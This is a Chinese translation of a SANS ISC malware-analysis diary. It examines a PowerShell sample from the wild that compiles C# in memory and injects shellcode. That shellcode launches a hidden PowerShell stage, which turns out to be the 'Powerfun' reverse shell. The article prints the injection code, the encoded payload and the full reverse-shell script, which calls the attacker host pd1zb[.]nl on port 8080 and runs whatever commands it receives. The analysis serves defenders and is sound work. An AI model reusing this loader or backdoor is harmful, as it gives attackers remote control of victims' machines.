c++调用powershell_从ShellCode启动PowerShell后门

当您需要在受害者的计算机上执行恶意操作时，Internet上充满了可以重复使用，分叉或稍作更改以满足您要求的资源。毕竟，如果一些代码可以在GitHub上免费获得，为什么还要重新发明轮子呢？如果您有充分的理由开发了一些攻击性工具(因为您是一个彭特，是一个只从事研究工作的红色团队)，那么很可能会重用您的代码。

这是一个在野外发现的实际例子。初始PowerShell脚本的VT分数为8/59

(SHA256：f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3)。

脚本没有被大量混淆，但是使用的技术很有趣。它使用CSharp Code Provider [ 1 ]类：

$nTlW = New-Object Microsoft.CSharp.CSharpCodeProvider$cUj0x = New-Object System.CodeDom.Compiler.CompilerParameters$cUj0x.ReferencedAssemblies.AddRange(@("System.dll", [PsObject].Assembly.Location))$cUj0x.GenerateInMemory = $True$zgA = $nTlW.CompileAssemblyFromSource($cUj0x, $dn)

上面的代码动态地编译了一些代码以允许代码注入。这不是我第一次写这种技术[ 2 ]，就像动态编写恶意软件[ 3 ]一样。让我们看一下注入代码：

$fH3rI = [y5SR.func]::VirtualAlloc(0, $u4O.Length + 1, [y5SR.func+AllocationType]::Reserve -bOr [y5SR.func+AllocationType]::Commit, [y5SR.func+MemoryProtection]::ExecuteReadWrite)if ([Bool]!$fH3rI) { $global:result = 3; return }[System.Runtime.InteropServices.Marshal]::Copy($u4O, 0, $fH3rI, $u4O.Length)[IntPtr] $ay = [y5SR.func]::CreateThread(0,0,$fH3rI,0,0,0)if ([Bool]!$ay) { $global:result = 7; return }$p0vZ = [y5SR.func]::WaitForSingleObject($ay, [y5SR.func+Time]::Infinite)

1. 通过VirtualAlloc()在当前进程环境(PowerShell解释器)中允许一个新的内存区域。最重要的参数是“ ExecuteReadWrite”(著名的0x40值)

2. Shellcode通过Copy()复制到新分配的内存中

3. 通过CreateThreat()创建了新威胁

4. 为了阻止父威胁，调用了WaitForSingleObject()

让我们看一下shellcode。这是Base64编码的数据块：

$ docker run -it --rm -v $(pwd):/malware rootshell/dssuite base64dump.py f4a4fffaa31c59309d7bba7823029cb211a16b3b187fcbb407705e7a5e9421d3.dms -n 100 -s 1 -S;}$uD$$[[aYZQpowershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('H4sIADeXAV8CA51WW2/bNhR+9684cLVaQixCCTCgCJBirpJuAdLWqLzlwTAQWjqOtcikRlK+LPF/LylRF8cJukwvtsjD73znOxfqHYz5BsWiYODDrUiVQgbzHXzSP5NCMBTwHi7pGuEPKpJdr6ctY5VyBr+j8m9xHmcpMgW9xx7ox9nEcAFfceN/m/+NsQJ/ssvxK12hXlRE24elfW1M/pR4iQtaZCoUmOidlGZSQzhKFNhYjQXf7sgzC73eWalte/uWYl6H1nuEcn9MBV251f9ppETK7mdOyFcrypLh4Woks5izZ4uXfMMyTpNy1bOYgscoJVgBVjwpMjQEf3M9qEzSBbi1G/DxH+jPU5b0vXKzOleezVKp5deSX2iXO/1/RYxqEY8fUEkyifMbazH7EHwIjg8SqahQxq/1XO7aFF107EZxjLnSgFU63IrK/jW6AtcoJB4zbqA7KX+JeTi2jvp5cvrvnLCsPzQhWL+9SjupBNKVIVrhEl1jUbmmCbbUqtRUzEyZ9G0mOrykzKIa7BVqGBe63Hckqk1d63/oLHQ94dB9dCYafQ8+lTA9OPMdV1xhiEKlizSmCv+iWZpQU3QhzbI5jR9mnvcCHTIq1NJUrDk0kkeieJ20tWq00XTlms53CqezmWN+TcEFhJwF+nn65THYW0WRJfW2O1W4VQRZzBNTzefnoyi8vvaMyp+Mjdu/1WXJN7KaCdESswxEwZi2Bq1BIXVp9uEEHGTrc/PGTGOf6DWdjmYj5qu8UO3mHQt5vhPp/VKBG3pwFpz+Cl/SWHDJFwpCLnIuSu0IjIxHYylBoHawxoTcsTtmK89qQsygQreNbhgM2xdyg+xeLbsVU/dtt2aOSuZtUk1PZnCjIY02tudJw/PtXOtTn7m4ovFSc65AIWXNTGmtWtrmcQ9GsUfqaKupVSN5T9dszR/Qv9rmWlup9W5Q9odt+CYlBuMIBjrPJYsbHpeZ9MiYqqVeHXwc/O/UbZZphq7rpGUPVMe/I03cquKHEAzBOTjngc8QgqPcXhn6mEx0KK9dT3Y0GBNShnhlQ25RdINTQ6WDZidUKXMdDjip96ys9DwwWh4lAPx6zFbgZx/fn8ITfCuUX6GCleIA6gxKQWpgLfJPUgCDFmRriDgoBBfTYHbgrMO63CdxhlS43ksMLrovuvG3veNO+k/l08L8tHW6pXLUOPWZz1khl83Na8egvU7CjEu08bR3YaR4Xl+A+uuh13w1NMmx1x/49uYxA+QH7Wza3jkJAAA='))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

Shellcode易于理解，它使用WinExec()启动另一个PowerShell命令，该命令可解码更多Base64编码的数据，将其解压缩并执行。让我们在scdbg中查看它：

以下是在注入的威胁中执行的PowerShell代码：

# Powerfun - Written by Ben Turner & Dave Hardyfunction Get-Webclient {    $wc = New-Object -TypeName Net.WebClient    $wc.UseDefaultCredentials = $true    $wc.Proxy.Credentials = $wc.Credentials    $wc}function powerfun {     Param(     [String]$Command,    [String]$Sslcon,    [String]$Download    )     Process {    $modules = @()      if ($Command -eq "bind")    {        $listener = [System.Net.Sockets.TcpListener]8080        $listener.start()            $client = $listener.AcceptTcpClient()    }     if ($Command -eq "reverse")    {        $client = New-Object System.Net.Sockets.TCPClient("pd1zb[.]nl",8080)    }    $stream = $client.GetStream()    if ($Sslcon -eq "true")     {        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as [Net.Security.RemoteCertificateValidationCallback]))        $sslStream.AuthenticateAsClient("pd1zb[.]nl")         $stream = $sslStream     }    [byte[]]$bytes = 0..20000|%{0}    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")    $stream.Write($sendbytes,0,$sendbytes.Length)    if ($Download -eq "true")    {        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")        $stream.Write($sendbytes,0,$sendbytes.Length)        ForEach ($module in $modules)        {            (Get-Webclient).DownloadString($module)|Invoke-Expression        }    }    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')    $stream.Write($sendbytes,0,$sendbytes.Length)    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)    {        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding        $data = $EncodedText.GetString($bytes,0, $i)        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '        $x = ($error[0] | Out-String)        $error.clear()        $sendback2 = $sendback2 + $x        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)        $stream.Write($sendbyte,0,$sendbyte.Length)        $stream.Flush()      }    $client.Close()    $listener.Stop()    }}powerfun -Command reverse -Sslcon true

后门可以在以下github.com存储库中找到：davehardy20 / PowerShell-Scripts [ 4 ]。下一个问题是：为什么要在初始的PowerShell进程中执行PowerShell脚本的进程注入？VT评分低证实了可能改善混淆性！

[1]  https://docs.microsoft.com/zh-cn/dotnet/api/microsoft.csharp.csharpcodeprovider?view=dotnet-plat-ext-3.1[2]  https://isc.sans.edu/forums / diary / Malicious + PowerShell + Compiling + C + Code + on + the + Fly / 24072[3]  https://isc.sans.edu/forums/diary/Malware+Samples+Compiling+Their+Next+Stage+on + Premise / 25278[4]  https://github.com/davehardy20/PowerShell-Scripts

Xavier Mertens(@xme)高级ISC处理程序-自由网络安全顾问

本文翻译自 - 

https://isc.sans.edu/forums/diary/PowerShell+Backdoor+Launched+from+a+ShellCode/26602/    - 转载请注明